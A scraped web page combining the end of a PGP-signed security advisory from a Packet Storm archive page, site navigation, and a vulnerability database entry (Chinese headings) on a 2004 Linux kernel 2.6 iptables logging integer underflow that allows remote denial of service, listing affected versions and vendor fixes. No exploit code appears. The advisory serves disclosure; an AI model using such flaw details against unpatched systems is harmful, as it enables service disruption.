/>A46xowVq1vMlH2Lib+V/qr3b1hE67nMHjysECVx9Ob4gFuKNoR2eqnAaJvjnAT8J<br />/LoUC20EdCHUqn6v+M9t/WZgC+WNR8cq69uDy3YQhDP/nIan6fm2uf2kSV9A7ZxE<br />GrwsWl/WX5Q/sQqMWaU6r4az98X3z90/cN+eJJ3vwtA+rm+nxEvyev+jaLuOQBDf<br />ebh/XA4FZ35xmi+spdiVeJH4F/ubaGlmj7+wDOF3suYAPSXT2QAFEbQlU3VTRSBT<br />ZWN1cml0eSBUZWFtIDxzZWN1cml0eUBzdXNlLmRlPokBFQMFEDbhLUfkWLKHsco8<br />RQEBVw4H/1vIdiOLX/7hdzYaG9crQVIk3QwaB5eBbjvLEMvuCZHiY2COUg5QdmPQ<br />8SlWNZ6k4nu1BLcv2g/pymPUWP9fG4tuSnlUJDrWGm3nhyhAC9iudP2u1YQY37Gb<br />B6NPVaZiYMnEb4QYFcqv5c/r2ghSXUTYk7etd6SW6WCOpEqizhx1cqDKNZnsI/1X<br />11pFcO2N7rc6byDBJ1T+cK+F1Ehan9XBt/shryJmv04nli5CXQMEbiqYYMOu8iaA<br />8AWRgXPCWqhyGhcVD3LRhUJXjUOdH4ZiHCXaoF3zVPxpeGKEQY8iBrDeDyB3wHmj<br />qY9WCX6cmogGQRgYG6yJqDalLqrDOdmJARUDBRA24S0Ed7LmAD0l09kBAW04B/4p<br />WH3f1vQn3i6/+SmDjGzUu2GWGq6Fsdwo2hVM2ym6CILeow/K9JfhdwGvY8LRxWRL<br />hn09j2IJ9P7H1Yz3qDf10AX6V7YILHtchKT1dcngCkTLmDgC4rs1iAAl3f089sRG<br />BafGPGKv2DQjHfR1LfRtbf0P7c09Tkej1MP8HtQMW9hPkBYeXcwbCjdrVGFOzqx+<br />AvvJDdT6a+oyRMTFlvmZ83UV5pgoyimgjhWnM1V4bFBYjPrtWMkdXJSUXbR6Q7Pi<br />RZWCzGRzwbaxqpl3rK/YTCphOLwEMB27B4/fcqtBzgoMOiaZA0M5fFoo54KgRIh0<br />zinsSx2OrWgvSiLEXXYKiEYEEBECAAYFAjseYcMACgkQnkDjEAAKq6ROVACgjhDM<br />/3KM+iFjs5QXsnd4oFPOnbkAnjYGa1J3em+bmV2aiCdYXdOuGn4ZiQCVAwUQN7c7<br />whaQN/7O/JIVAQEB+QP/cYblSAmPXxSFiaHWB+MiUNw8B6ozBLK0QcMQ2YcL6+Vl<br />D+nSZP20+Ja2nfiKjnibCv5ss83yXoHkYk2Rsa8foz6Y7tHwuPiccvqnIC/c9Cvz<br />dbIsdxpfsi0qWPfvX/jLMpXqqnPjdIZErgxpwujas1n9016PuXA8K3MJwVjCqSKI<br />RgQQEQIABgUCOhpCpAAKCRDHUqoysN/3gCt7AJ9adNQMbmA1iSYcbhtgvx9ByLPI<br />DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE=<br />=LRKC<br />- -----END PGP PUBLIC KEY BLOCK-----<br /><br />-----BEGIN PGP SIGNATURE-----<br />Version: GnuPG v1.2.4 (GNU/Linux)<br /><br />iQEVAwUBQXdo13ey5gA9JdPZAQE6Hwf7Bw82jWwK890uLPv8ByWeb3V8+M4kHiUc<br />1b33YLWPv/Q9OL1/Shyu6axownxUtSP/xgypv81Z5qKG4ETwV1EqB/v8eAQGQjCO<br />ptkA5rID9EhZYxXxPb4v4jFiqBMxRM3Sp8n0q0eRMNnOgHY5edS6tfkbwR2SsWEc<br />i8uGPVYaXOOnkLEB83Ra9o7UsMpXXy1W711EN7G20Tu6XT8HhNwOZZu69/KzKbso<br />/OVY48usd6EkExrFxLSJBtWI4OU2Qn/zerd2bRmmEN+gMH+/c7pceGC+SEDGn+Bq<br />p/mnwsDz3e4Z3LfkMgNY3qGXc7h6fOYF4GJtLB9tkH8/gIXwSqiDuQ==<br />=SsBR<br />-----END PGP SIGNATURE-----<br /></code></pre>
<div id="comments">
<h2>Comments</h2><a href="" class="rss-cmt"><img src="" width="16" height="16" alt="RSS Feed" /> <span>Subscribe to this comment feed</span></a><br /><p id="comment-none">No comments yet, be the first!</p></div>
<div id="comment-form" style="display:none"></div><div id="comment-login"><a href="">Login</a> or <a href="">Register</a> to post a comment</div>
      <div id="adblock">
      <div id="mn">
        <div class="mn-like-us">
<li><a href=""><img src="" width="24" height="24" alt="Follow on Twitter" /> Follow us on Twitter</a></li>
<li><a href=""><img src="" width="24" height="24" alt="Follow on Facebook" /> Follow us on Facebook</a></li>
<li><a href="/feeds"><img src="" width="24" height="24" alt="View RSS Feeds" /> Subscribe to an RSS Feed</a></li>
<div class="mn-like-us"><ul><li style="border-color: #afa; background: #efe"><a style="border-color: #6f6; background: #afa; color: #060; padding-left: 0;" href="/bugbounty/"><span style="color:#393">$ $ $</span>  Write Exploits? Get Paid!</a></li></ul></div>
<form id="cal" action="/files/cal/" method="post">
<h2>File Archive:</h2><h3>April 2013</h3>
<button id="cal-prev" name="cal-prev" type="button" value="2013-4"><span><</span></button><ul class="dotw"><li>Su</li><li>Mo</li><li>Tu</li><li>We</li><li>Th</li><li>Fr</li><li>Sa</li></ul>
<ul><li></li><li class="low"><a href="/files/date/2013-04-01/">1</a><div class="stats"><div class="point"></div><div class="date">Apr 1st</div><div class="count">10 Files</div></div></li><li class="med"><a href="/files/date/2013-04-02/">2</a><div class="stats"><div class="point"></div><div class="date">Apr 2nd</div><div class="count">15 Files</div></div></li><li class="med"><a href="/files/date/2013-04-03/">3</a><div class="stats"><div class="point"></div><div class="date">Apr 3rd</div><div class="count">16 Files</div></div></li><li class="med"><a href="/files/date/2013-04-04/">4</a><div class="stats"><div class="point"></div><div class="date">Apr 4th</div><div class="count">15 Files</div></div></li><li class="med"><a href="/files/date/2013-04-05/">5</a><div class="stats"><div class="point"></div><div class="date">Apr 5th</div><div class="count">30 Files</div></div></li><li class="low"><a href="/files/date/2013-04-06/">6</a><div class="stats"><div class="point"></div><div class="date">Apr 6th</div><div class="count">4 Files</div></div></li></ul>
<ul><li class="low"><a href="/files/date/2013-04-07/">7</a><div class="stats"><div class="point"></div><div class="date">Apr 7th</div><div class="count">12 Files</div></div></li><li class="med"><a href="/files/date/2013-04-08/">8</a><div class="stats"><div class="point"></div><div class="date">Apr 8th</div><div class="count">23 Files</div></div></li><li class="med"><a href="/files/date/2013-04-09/">9</a><div class="stats"><div class="point"></div><div class="date">Apr 9th</div><div class="count">26 Files</div></div></li><li class="med"><a href="/files/date/2013-04-10/">10</a><div class="stats"><div class="point"></div><div class="date">Apr 10th</div><div class="count">30 Files</div></div></li><li class="high"><a href="/files/date/2013-04-11/">11</a><div class="stats"><div class="point"></div><div class="date">Apr 11th</div><div class="count">63 Files</div></div></li><li class="low"><a href="/files/date/2013-04-12/">12</a><div class="stats"><div class="point"></div><div class="date">Apr 12th</div><div class="count">12 Files</div></div></li><li class="low"><a href="/files/date/2013-04-13/">13</a><div class="stats"><div class="point"></div><div class="date">Apr 13th</div><div class="count">3 Files</div></div></li></ul>
<ul><li class="low"><a href="/files/date/2013-04-14/">14</a><div class="stats"><div class="point"></div><div class="date">Apr 14th</div><div class="count">2 Files</div></div></li><li class="low"><a href="/files/date/2013-04-15/">15</a><div class="stats"><div class="point"></div><div class="date">Apr 15th</div><div class="count">11 Files</div></div></li><li class="med"><a href="/files/date/2013-04-16/">16</a><div class="stats"><div class="point"></div><div class="date">Apr 16th</div><div class="count">16 Files</div></div></li><li class="med"><a href="/files/date/2013-04-17/">17</a><div class="stats"><div class="point"></div><div class="date">Apr 17th</div><div class="count">15 Files</div></div></li><li class="med"><a href="/files/date/2013-04-18/">18</a><div class="stats"><div class="point"></div><div class="date">Apr 18th</div><div class="count">15 Files</div></div></li><li class="med"><a href="/files/date/2013-04-19/">19</a><div class="stats"><div class="point"></div><div class="date">Apr 19th</div><div class="count">19 Files</div></div></li><li class="low"><a href="/files/date/2013-04-20/">20</a><div class="stats"><div class="point"></div><div class="date">Apr 20th</div><div class="count">3 Files</div></div></li></ul>
<ul><li class="low"><a href="/files/date/2013-04-21/">21</a><div class="stats"><div class="point"></div><div class="date">Apr 21st</div><div class="count">3 Files</div></div></li><li class="low"><a href="/files/date/2013-04-22/">22</a><div class="stats"><div class="point"></div><div class="date">Apr 22nd</div><div class="count">12 Files</div></div></li><li class="low"><a href="/files/date/2013-04-23/">23</a><div class="stats"><div class="point"></div><div class="date">Apr 23rd</div><div class="count">13 Files</div></div></li><li class="low"><a href="/files/date/2013-04-24/">24</a><div class="stats"><div class="point"></div><div class="date">Apr 24th</div><div class="count">11 Files</div></div></li><li class="none today"><a href="/files/date/2013-04-25/">25</a><div class="stats"><div class="point"></div><div class="date">Apr 25th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2013-04-26/">26</a><div class="stats"><div class="point"></div><div class="date">Apr 26th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2013-04-27/">27</a><div class="stats"><div class="point"></div><div class="date">Apr 27th</div><div class="count">0 Files</div></div></li></ul>
<ul><li class="none"><a href="/files/date/2013-04-28/">28</a><div class="stats"><div class="point"></div><div class="date">Apr 28th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2013-04-29/">29</a><div class="stats"><div class="point"></div><div class="date">Apr 29th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2013-04-30/">30</a><div class="stats"><div class="point"></div><div class="date">Apr 30th</div><div class="count">0 Files</div></div></li><li></li><li></li><li></li><li></li></ul>
<div id="mn-top-author" class="top-ten">
<h2>Top Authors In Last 30 Days</h2>
<li><a href="/files/authors/3786">Mandriva</a> <span>126 files</span></li>
<li><a href="/files/authors/4676">Red Hat</a> <span>44 files</span></li>
<li><a href="/files/authors/3695">Ubuntu</a> <span>28 files</span></li>
<li><a href="/files/authors/2985">Cisco Systems</a> <span>17 files</span></li>
<li><a href="/files/authors/4612">HP</a> <span>11 files</span></li>
<li><a href="/files/authors/2821">Debian</a> <span>11 files</span></li>
<li><a href="/files/authors/8993">juan vazquez</a> <span>9 files</span></li>
<li><a href="/files/authors/8035">High-Tech Bridge SA</a> <span>7 files</span></li>
<li><a href="/files/authors/8982">Slackware Security Team</a> <span>7 files</span></li>
<li><a href="/files/authors/8123">Michael Messner</a> <span>7 files</span></li>
<div id="mn-tag-file"><h2>File Tags</h2><ul><li><a href="/files/tags/activex/">ActiveX</a> <span>(873)</span></li><li><a href="/files/tags/advisory/">Advisory</a> <span>(55,748)</span></li><li><a href="/files/tags/arbitrary/">Arbitrary</a> <span>(8,747)</span></li><li><a href="/files/tags/bbs/">BBS</a> <span>(2,859)</span></li><li><a href="/files/tags/bypass/">Bypass</a> <span>(575)</span></li><li><a href="/files/tags/cgi/">CGI</a> <span>(847)</span></li><li><a href="/files/tags/code_execution/">Code Execution</a> <span>(3,370)</span></li><li><a href="/files/tags/cracker/">Cracker</a> <span>(685)</span></li><li><a href="/files/tags/csrf/">CSRF</a> <span>(1,857)</span></li><li><a href="/files/tags/denial_of_service/">DoS</a> <span>(14,917)</span></li><li><a href="/files/tags/encryption/">Encryption</a> <span>(2,115)</span></li><li><a href="/files/tags/exploit/">Exploit</a> <span>(29,367)</span></li><li><a href="/files/tags/file_inclusion/">File Inclusion</a> <span>(3,386)</span></li><li><a href="/files/tags/firewall/">Firewall</a> <span>(748)</span></li><li><a href="/files/tags/info_disclosure/">Info Disclosure</a> <span>(1,212)</span></li><li><a href="/files/tags/intrusion_detection/">Intrusion Detection</a> <span>(663)</span></li><li><a href="/files/tags/java/">Java</a> <span>(1,320)</span></li><li><a href="/files/tags/javascript/">JavaScript</a> <span>(503)</span></li><li><a href="/files/tags/kernel/">Kernel</a> <span>(2,825)</span></li><li><a href="/files/tags/local/">Local</a> <span>(10,570)</span></li><li><a href="/files/tags/magazine/">Magazine</a> <span>(503)</span></li><li><a href="/files/tags/overflow/">Overflow</a> <span>(8,311)</span></li><li><a href="/files/tags/perl/">Perl</a> <span>(1,213)</span></li><li><a href="/files/tags/php/">PHP</a> <span>(3,984)</span></li><li><a href="/files/tags/proof_of_concept/">Proof of Concept</a> <span>(1,589)</span></li><li><a href="/files/tags/protocol/">Protocol</a> <span>(1,839)</span></li><li><a href="/files/tags/python/">Python</a> <span>(705)</span></li><li><a href="/files/tags/remote/">Remote</a> <span>(19,367)</span></li><li><a href="/files/tags/root/">Root</a> <span>(2,443)</span></li><li><a href="/files/tags/scanner/">Scanner</a> <span>(1,317)</span></li><li><a href="/files/tags/tool/">Security Tool</a> <span>(5,638)</span></li><li><a href="/files/tags/shell/">Shell</a> <span>(1,943)</span></li><li><a href="/files/tags/shellcode/">Shellcode</a> <span>(772)</span></li><li><a href="/files/tags/sniffer/">Sniffer</a> <span>(781)</span></li><li><a href="/files/tags/spoof/">Spoof</a> <span>(1,653)</span></li><li><a href="/files/tags/sql_injection/">SQL Injection</a> <span>(12,575)</span></li><li><a href="/files/tags/tcp/">TCP</a> <span>(1,961)</span></li><li><a href="/files/tags/trojan/">Trojan</a> <span>(541)</span></li><li><a href="/files/tags/udp/">UDP</a> <span>(713)</span></li><li><a href="/files/tags/virus/">Virus</a> <span>(573)</span></li><li><a href="/files/tags/vulnerability/">Vulnerability</a> <span>(22,058)</span></li><li><a href="/files/tags/web/">Web</a> <span>(5,497)</span></li><li><a href="/files/tags/paper/">Whitepaper</a> <span>(2,850)</span></li><li><a href="/files/tags/x86/">x86</a> <span>(585)</span></li><li><a href="/files/tags/xss/">XSS</a> <span>(12,267)</span></li><li><a href="/files/tags/">Other</a></li></ul></div><div id="mn-arch-file"><h2>File Archives</h2><ul><li><a href="/files/date/2013-04/">April 2013</a></li><li><a href="/files/date/2013-03/">March 2013</a></li><li><a href="/files/date/2013-02/">February 2013</a></li><li><a href="/files/date/2013-01/">January 2013</a></li><li><a href="/files/date/2012-12/">December 2012</a></li><li><a href="/files/date/2012-11/">November 2012</a></li><li><a href="/files/date/2012-10/">October 2012</a></li><li><a href="/files/date/2012-09/">September 2012</a></li><li><a href="/files/date/2012-08/">August 2012</a></li><li><a href="/files/date/2012-07/">July 2012</a></li><li><a href="/files/date/2012-06/">June 2012</a></li><li><a href="/files/date/2012-05/">May 2012</a></li><li><a href="/files/date/">Older</a></li></ul></div><div id="mn-os-file"><h2>Systems</h2><ul><li><a href="/files/os/aix/">AIX</a> <span>(371)</span></li><li><a href="/files/os/apple/">Apple</a> <span>(1,067)</span></li><li><a href="/files/os/bsd/">BSD</a> <span>(305)</span></li><li><a href="/files/os/cisco/">Cisco</a> <span>(1,393)</span></li><li><a href="/files/os/debian/">Debian</a> <span>(4,133)</span></li><li><a href="/files/os/fedora/">Fedora</a> <span>(1,663)</span></li><li><a href="/files/os/freebsd/">FreeBSD</a> <span>(1,053)</span></li><li><a href="/files/os/gentoo/">Gentoo</a> <span>(2,646)</span></li><li><a href="/files/os/hpux/">HPUX</a> <span>(735)</span></li><li><a href="/files/os/iphone/">iPhone</a> <span>(99)</span></li><li><a href="/files/os/irix/">IRIX</a> <span>(218)</span></li><li><a href="/files/os/juniper/">Juniper</a> <span>(63)</span></li><li><a href="/files/os/linux/">Linux</a> <span>(23,246)</span></li><li><a href="/files/os/osx/">Mac OS X</a> <span>(453)</span></li><li><a href="/files/os/mandriva/">Mandriva</a> <span>(2,472)</span></li><li><a href="/files/os/netbsd/">NetBSD</a> <span>(244)</span></li><li><a href="/files/os/openbsd/">OpenBSD</a> <span>(422)</span></li><li><a href="/files/os/redhat/">RedHat</a> <span>(3,170)</span></li><li><a href="/files/os/slackware/">Slackware</a> <span>(447)</span></li><li><a href="/files/os/solaris/">Solaris</a> <span>(1,524)</span></li><li><a href="/files/os/suse/">SUSE</a> <span>(1,440)</span></li><li><a href="/files/os/ubuntu/">Ubuntu</a> <span>(3,312)</span></li><li><a href="/files/os/unix/">UNIX</a> <span>(7,126)</span></li><li><a href="/files/os/unixware/">UnixWare</a> <span>(152)</span></li><li><a href="/files/os/windows/">Windows</a> <span>(4,233)</span></li><li><a href="/files/os/">Other</a></li></ul></div>



<div id="f">
  <div id="fc">

    <div class="f-box" style="margin: 50px 0 0 0;">
        <a href="/"><img src="" width="218" alt="packet storm" /></a>
    <p class="copy">© 2013 Packet Storm. All rights reserved.</p>

    <div class="f-box">
      <dt>Site Links</dt>
      <dd><a href="/news/date/">News by Month</a></dd>
      <dd><a href="/news/tags/">News Tags</a></dd>
      <dd><a href="/files/date/">Files by Month</a></dd>
      <dd><a href="/files/tags/">File Tags</a></dd>
      <dd><a href="/files/directory/">File Directory</a></dd>

    <div class="f-box">
      <dt>About Us</dt>
      <dd><a href="/about/">History & Purpose</a></dd>
      <dd><a href="/contact/">Contact Information</a></dd>
      <dd><a href="/legal/tos.html">Terms of Service</a></dd>
      <dd><a href="/legal/privacy.html">Privacy Statement</a></dd>
      <dd><a href="/legal/copyright.html">Copyright Information</a></dd>

    <div class="f-box">
      <dd><a href="/services/">Security Services</a></dd>
      <dt style="margin-top:1.5em;">Hosting By</dt>
      <dd><a href="">Rokabear</a></dd>
      <dd><a href="/mirrors/">Global Mirror List</a></dd>
    <div class="f-box">
    <ul class="f-follow">
     <li><a href=""><img width="24" height="24" alt="Follow on Twitter" src="" /> Follow us on Twitter</a></li>
     <li><a href=""><img width="24" height="24" alt="Follow on Facebook" src="" /> Follow us on Facebook</a></li>
     <li><a href="/feeds"><img width="24" height="24" alt="View RSS Feeds" src="" /> Subscribe to an RSS Feed</a></li>


<div id="o-box"><img src="" alt="close" height="30" width="30" id="o-close" /><div id="o-main"></div></div>

<script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-18885198-1']); _gaq.push(['_setDomainName', '']); _gaq.push(['_trackPageview']); (function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + ''; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})(); </script><noscript><img src="" width="2" height="2" alt="" /></noscript>
<!-- Thu, 25 Apr 2013 09:06:56 GMT -->

- 漏洞信息

Linux Kernel iptables Logging Rules Integer Underflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

A remote underflow exists in Linux Kernel. The Linux Kernel fails to properly parse input from the iptables firewall logging rules resulting in a integer underflow. With a specially crafted request, an attacker can cause a denial of service resulting in a loss of availability for the system.

- 时间线

2004-10-21 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.6.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Linux Kernel IPTables Logging Rules Integer Underflow Vulnerability
Boundary Condition Error 11488
Yes No
2004-10-21 12:00:00 2009-07-12 08:06:00
Discovery of this vulnerability is credited to Richard Hart.

- 受影响的程序版本

S.u.S.E. Linux Personal 9.1
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
MandrakeSoft Multi Network Firewall 2.0
MandrakeSoft Corporate Server 3.0
MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
Linux kernel 2.6.8 rc3
Linux kernel 2.6.8 rc2
Linux kernel 2.6.8 rc1
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Linux kernel 2.6.7 rc1
Linux kernel 2.6.7
Linux kernel 2.6.6 rc1
Linux kernel 2.6.6
Linux kernel 2.6.5
+ S.u.S.E. Linux Enterprise Server 9
+ S.u.S.E. Linux Personal 9.1 x86_64
+ S.u.S.E. Linux Personal 9.1 x86_64
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.1
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1 -rc2
Linux kernel 2.6.1 -rc1
Linux kernel 2.6.1
Linux kernel 2.6 -test9-CVS
Linux kernel 2.6 -test9
Linux kernel 2.6 -test8
Linux kernel 2.6 -test7
Linux kernel 2.6 -test6
Linux kernel 2.6 -test5
Linux kernel 2.6 -test4
Linux kernel 2.6 -test3
Linux kernel 2.6 -test2
Linux kernel 2.6 -test11
Linux kernel 2.6 -test10
Linux kernel 2.6 -test1
Linux kernel 2.6

- 漏洞讨论

It is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch.

A remote attacker may exploit this vulnerability to crash a computer that is running the affected kernel.

The 2.6 Linux kernel is reported prone to this vulnerability, the 2.4 kernel is not reported to be vulnerable.

- 漏洞利用

A proof of concept exploit is provided by

- 解决方案

It is reported that this issue is already fixed in the 2.6.8 upstream Linux kernel.

SuSE has released an advisory (SUSE-SA:2004:037) and fixes to address this vulnerability in SuSE products. Customers are advised to peruse the referenced advisory for further information pertaining to obtaining and applying appropriate fixes.

MandrakeSoft has issued fixes in advisory MDKSA-2005:022. See reference section.

TurboLinux has released Turbolinux Security Announcement 28/Feb/2005 dealing with this and other issues. Please see the referenced advisory for more information.

Linux kernel 2.6

Linux kernel 2.6.3

Linux kernel 2.6.4

- 相关参考